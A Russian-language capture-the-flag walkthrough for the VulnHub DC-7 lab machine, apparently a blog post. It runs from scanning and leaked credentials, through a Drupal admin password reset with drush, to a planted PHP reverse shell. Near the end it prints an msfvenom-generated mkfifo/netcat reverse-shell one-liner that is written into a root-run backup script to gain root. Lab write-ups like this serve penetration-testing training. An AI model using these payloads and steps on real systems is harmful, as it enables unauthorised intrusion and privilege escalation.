Прохождение машины DC-7. VulnHub.
Здравствуйте, дорогие друзья.
Сегодня будем проходить машину «DC-7». Это CTF-челлендж на базе Linux, в котором Вы можете использовать свои базовые навыки пентеста, чтобы скомпрометировать эту виртуальную машину и повысить уровень привилегий до root.
Скачать машину можно, перейдя по ссылке: https://www.vulnhub.com/entry/dc-7,356/
Сетевое сканирование
Давайте начнем со сканирования сети, используя агрессивное сканирование Nmap, и на этот раз я также буду использовать тот же подход, для определения открытых портов для запущенных служб.
sudo nmap -A 10.0.2.20
Перечисление/Enumeration
Далее нам нужно начать перечисление с хост-машины, поэтому, не теряя времени, я перехожу в веб-браузер для изучения HTTP-сервиса, и в браузере откроется страница приветствия DC:7, которая дала мне подсказку для поиска «outside the box», и эта подсказка может быть связана с интернетом.
В конце этой веб-страницы я заметил еще одну подсказку «@DC7User», которая может быть любым возможным именем пользователя.
Приняв во внимание указанную выше подсказку, я начинаю отслеживать пользователя @DC7 и нахожу учетную запись пользователя DC7 на GitHub: https://github.com/Dc7User.
Итак, когда я открыл staffdb, здесь config.php выглядит более интересно.
Я нашел учетные данные внутри config.php, как показано ниже:
1 2 |
Username: dc7user Password: MdR3xOgB7#dW |
Эксплуатация
С помощью перечисленных выше учетных данных я пытаюсь подключиться к ssh, и после получения tty shell я перехожу к перечислению каталогов и файлов и начинaю исследование каталога.
Внутри backup.sh я замечаю, что он использует drush, а это означает использование оболочки Drupal, и это утилита командной строки, которая используется для связи с drupal CMS.
Итак, я посмотрел команду drush в Google и нашел команду, которая использовалась для изменения пароля учетной записи.
Ссылка: https://www.digitalocean.com/community/tutorials/a-beginner-s-guide-to-drush-the-drupal-shell
Поэтому я пытаюсь изменить пароль администратора с помощью следующей команды:
1 |
drush user-password admin —password=timcore |
1 2 3 4 5 6 |
Теперь я изменил пароль для учетной записи администратора для входа в Drupal и изучения следующего URL-адреса: <a href="http://10.0.2.20/user/login">http://10.0.2.20/user/login</a> После доступа к консоли администратора пришло время использовать веб-приложение, внедряя в него вредоносный контент. Непосредственное написание вредоносных скриптов в качестве веб-контента не даст нам обратную оболочку приложения, но потратив некоторое время, я пришел к выводу, что для этого требуется <strong>PHP</strong>-модуль. Поэтому я перешел к установке нового модуля через <strong>Manage>Extend>List>Install</strong> <strong>new module</strong>. |
1 2 3 |
Вы можете загрузить пакет <strong>PHP</strong> для <strong>Drupal</strong> по указанному ниже <strong>URL</strong>-адресу и загрузить файл <strong>tar</strong> для установки нового модуля. <a href="https://www.drupal.org/project/php/releases/8.x-1.0">https://www.drupal.org/project/php/releases/8.x-1.0</a> |
1 |
Итак, когда установка завершена, нам нужно включить добавленный модуль. |
1 |
Снова перейдите в <strong>Manage > Extend >filters </strong>и установите флажок для фильтров <strong>PHP</strong>. |
1 2 3 |
Теперь используем <strong>PHP</strong>-скрипт <strong>Pentest monkey</strong>, то есть «<strong>php-reverse-shell.php</strong>», который будет внедрен в качестве базового контента. Не забудьте добавить «прослушиваемый <strong>IP</strong>-адрес и порт», чтобы получить обратное соединение. Продолжайте менять «текстовый формат на <strong>PHP</strong>» и установите флажок публикации. Держите прослушиватель <strong>netcat</strong> включенным, чтобы получать входящий шелл. Когда все настроено правильно, нажмите кнопку предварительного просмотра, и вы получите обратное соединение через <strong>netcat</strong>. |
1 |
Прекрасно! У нас есть сеанс <strong>netcat</strong> как <strong>www-data</strong>, и если Вы проверите разрешение на <strong>/opt/scripts/backup.sh</strong>, Вы заметите, что у <strong>www-data</strong> есть все права доступа или изменения этого файла. Поэтому мы можем злоупотреблять правами пользовательского файла для повышения привилегий, изменяя содержимое исходного файла. |
1 2 3 4 5 6 7 8 9 |
<strong>Повышение привилегий </strong> Как было сказано выше, я попытаюсь злоупотребить назначением разрешений на запись в скрипте. Таким образом, я использую <strong>msfvenom</strong> для генерации вредоносного кода для получения оболочки <strong>bash</strong>. msfvenom -p cmd/unix/reverse_netcat lhost=10.0.2.15 lport=8888 R Теперь скопируем сгенерированный код и запустим еще один прослушиватель <strong>netcat</strong> на новом терминале. mkfifo /tmp/trsgux; nc 10.0.2.15 8888 0</tmp/trsgux | /bin/sh >/tmp/trsgux 2>&1; rm /tmp/trsgux |
1 |
Вставлю код, скопированный выше в предыдущем сеансе <strong>netcat</strong>, в оболочку <strong>www-data</strong>, подожду некоторое время и вернусь к другому слушателю <strong>netcat</strong>. |
1 |
Через некоторое время у Вас будет доступ к корневой оболочке, теперь Вы получите последний флаг в корневом каталоге, как показано ниже. |
На этом все. Всем хорошего дня!